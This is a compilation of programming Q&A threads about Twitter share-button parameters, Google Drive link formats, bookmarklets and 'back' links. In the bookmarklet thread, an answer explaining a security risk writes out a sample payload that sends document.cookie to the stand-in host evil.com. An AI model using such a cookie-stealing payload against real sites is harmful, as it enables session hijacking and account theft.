twitter: share link with parameters - twitter

I have a share button on my site.
But I need to share link with parameters, and each time parameters will be different (I need to track user who is sharing, etc.)
For example need to share link like http://mySite.com/page?userId=111&someParam=222
I can share this well, but how can I force count to work correct?
if I set
data-url="http://mySite.com/page?userId=111&someParam=222"
data-counturl="http://mySite.com/page/"
I am getting count 0 always. How to get this work?

From http://dev.twitter.com/pages/tweet_button,
"The count box shows how many times the URL has been Tweeted."
Your problem is you simply have the url and counturl mixed up. Change url to the short one, for display purposes - that's the one people will see. Use the counturl for the one with all the parameters, to ensure they go to the right place with the parameters intact.
I suspect the reason your count kept showing zero tweets is because you have a different (unique) url as your primary url each time it is tweeted, so each tweet is the first time that url (including its parameters) was shared.

Twitter now lets you send the url through data attributes. This works perfectly for me and should work for you out of the box!
The button (check out data-url):
Tweet
The twitter javascript snippet (from https://dev.twitter.com/docs/tweet-button)
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>

Related

What is the difference between "open?id=" and "spreadsheets/d/" / "drive/folders/" in Google Drive?

I don't actually have a problem, but I am very curious, why sharing URLs are different in "Get Shareable Link" and "Share..." buttons.
For example, I want to share one folder.
When I get URL from "Get Shareable Link", I get this:
https://drive.google.com/open?id=1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l
but, if I get URL from "Share...", I get this:
https://drive.google.com/drive/folders/1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l?usp=sharing
Well, I know some things about the URL in the second link: The usp= must be source parameter, that where the link came from, and yes, this is sharing. It came from sharing ("Share..."). And also there are may other parameters:
usp=drive_web
usp=direct_url
Google Drive Links URL format and query parameters
And there are also parameters before usp=: "edit, view: these parameters tell the browser the priority that which type of access to go into if this access type is accessible. So, if the link has "edit" parameter but the user don't have permission to edit the file/folder, then automaticlly it will be redirected into "view" permission mode.
https://learninginhand.com/blog/google-document-url-tricks
Well, these are king of understandable, but my question is this:
Why these two links have different starting?
https://drive.google.com/open?id=1Tgz6......
https://drive.google.com/drive/folders/1Tgz6......
I know that this is file/folder ID: 1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l, but what is the point of these differences in these links?
why the first one has open?id= and the second one has drive/folders/, why? Which one is better to use in which situations? If both are fine in any situation, then why are they two? What is the point of it? You know, I get the point of URL ending parameters (usp= and stuff), but I don't get the point of different URLs which work kinda absolutely the same way: to share/get file/folder.
There is also another example:
https://drive.google.com/open?id=1vY7tQaNt3Vnkaxy-5Lbn1ImOfTiTC5bPk8mRZLqBOsE
https://docs.google.com/spreadsheets/d/1vY7tQaNt3Vnkaxy-5Lbn1ImOfTiTC5bPk8mRZLqBOsE
What's the point of these two guys:
open?id=
spreadsheets/d/
Don't they just do the same thing: to build the URL? So, why the same folder/file is represented by two different URLs? Why there is not just one URL (of course with ending parameters: usp= and stuff. the ending parameters are quick understandable).

Can't get rid of "via" text for Twitter share button

I'm working in a Rails 3.1.8 app and I'm having a problem creating a Twitter share button that produces the text I want. Here is the erb code for the button:
Tweet
This button appears on a page that contains content produced by a particular user. Let's call the user "sam". The text this code produces to be shared on Twitter is:
[some_text] [url of current page] via #sam
I would like to remove the "via #sam", but I cannot figure out how. If I explicitly set data-via I can change the user that the "via" phrase refers to, but I cannot make it disappear.
This support page suggests that omitting the data-via tag should do the trick, but I have found that it does not.
I've searched around the app to try to find a place where this parameter is being set, but I haven't found anything. However, as I'm pretty green with Twitter stuff, I may not be searching for the right thing.
Thanks in advance for your help, and do let me know if I can provide additional info.
ADDENDUM: I've tried add setting data-via to various values, including false, "false", and "", as well as appending ?via= and analogous values to the share URL. Each of these attempts resulted in a bogus via phrase (e.g. "#false"), or a default to "#sam".
Maybe you have an old version of the Javascript being included or cached.
Taking examples from https://dev.twitter.com/docs/tweet-button works as expected when omitting the data-via attribute.
Tweet
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
Working example: http://jsbin.com/uxopur/2/

Combine URL and a javascript bookmarklet together

I need to access some data in someone's site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.
foo() is like:
function foo(param){
createXXXCookie('COOKIE_NAME', param, 60);
window.location.href="/current/location";
}
So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.
I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:... part and just proceed the first part of URL.
This is not possible.
Had it been possible, it would be a deadly security hole.
Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.

Twitting URLs with # in them and getting their count

The goal here is to be able to "tweet" a link of the format
www.example.com/page.aspx#1, and get the number of "tweets" for that link... Basically, what the out-of-the-box Twitter button does for any normal link.
Reason for this is because the page displays different content based on the ID after the #, so there is a need to count which specific item was "tweeted" and how many times.
I tried passing that URL to the Twitter service to get the count (http://urls.api.twitter.com/1/urls/count.json?url=), but the JSON object I get back only has
{"count":0,"url":"www.example.com/page.aspx/"}.
The link for the Twitter button looks like this (done in JavaScript)
var twtLink = 'http://twitter.com/intent/tweet?url='+encodeURIComponent(twtUrl)+'&counturl='+encodeURIComponent(twtUrl);
Any suggestions would be appreciated.
Thanks!
Twitter actually re-interrupts all URL's with their own custom t.co wrapper. This is good news for your use case. You can use these unique t.co links with the counter API.
If you include the attribute &include_entities=1 to the end of some Twitter REST API calls you get back expanded info including the URL's in the tweets. You will see the original URL as well as the shortened URL version. Pass the shortened URL version into the counter API.

How do I make a "back" link?

I have a detail page that gets called from various places and has a nice readable url like
"www.mypage.com/product/best-product-ever".
The calling pages (list of products) have a more complex url like:
"www.mypage.com/offers/category/electronic/page/1/filter/manufacturer/sony/sort/price" and
"www.mypage.com/bestseller/this-week".
How can I make a backlink from the detailpage to the calling product list?
I cannot use javascript
I don't want to have the calling page in the URL, because it gets to long
I really want links between pages, no http-post
I cannot use Sessionstate
EDIT:
Sessionstate is ruled out, because if there are 2 Windows open, then they would share the same "Back" page information.
Like Lee said, use the referrer value:
Back
If you don't want the URL in the link because it's too long, try running some sort of simple compression algorithm over the URL, display the compressed data as unicode text and then append the compressed URL as a parameter to a redirect page, e.g:
Back
What about using the referrer header value?
Here's a crazy idea that will require a fair but of work and may not be healthy for performance (depending on your users).. but here we go:
Create a repository for caching 'ListResults' (and wire it to persist to the DB of you like.. or just leave it in memory on the server).
In short what this Repo can do is store a ListResult which will include everything to persist the state of the current view of the list any given user is looking at. This might include routes and other values.. but essentially everything that is needed to redirect back to that specific page of the filtered and sorted list.
As the ListResult item is added to the repo a small unique hash/key is generated that will be url friendly - something like this "k29shjk4" - it is added to the item along with a datetime stamp.
ListResults are only persisted from the moment a list gets off the default view (ie. no filtering, sorting and Page 1) - this will help in a small way for performance.
A ListResult item may never actually get used but all detail actionlinks on the particular list view have the ListResult.Key hash value added to the route. So yes, it might end up as a querystring but it will be short (url friendly) and if you wanna mess with routes more, you can tidy it up further.
For navigation "back" to the list, you may need a new small controller which accepts simply the ListResult.Key hash value and redirects/re-creates the state of the list view (paging, filtering and sorting included) from the lookup in the repo.
So we have met the requirements so far: no calling page in the url (in the sense that its not the whole page - just a hash lookup of it); no POSTing, no sessions, no js.
To stop the ListResult repo from getting to big (and dangerous: if you persist it to the DB), you can use a ASP.NET background service to periodically prune the 'old' routes by way of the timestamp.. and 'extend' the life of routes that are continuously being used by adding time to the stamp of a ListResult item when it's requested via the new controller. No need to persist a route indefinitely coz if a user wants a permalink to a list view, they can bookmark the long list route itself.
hope this helps somehow
Do you have a cookie?
If so, you can put it in there, or use it to create your own session state.
I think this is more like a "Back to results" then a generic "<< back" link, because you would expect the generic back link to return to the genetic list, not the heavily filtered list you described, right?
I don't know if this falls into your "no post" condition, but the only option I can see is having the Detail action be POST-only ([AcceptVerbs(HttpVerbs.Post)]) and include another parameter like string fullRoute which is converted to the 'link' on the detail page for "Back to results". Overload the Detail action missing the fullRoute param and have the overloaded action be a GET action so that the POST fullRoute value is not required (for when users are ok with the 'generic' "Back" link). This should serve both 'generic' GET requests to the Detail page and the POST request which will include the specific "Back to results" link for the filtered list.

Resources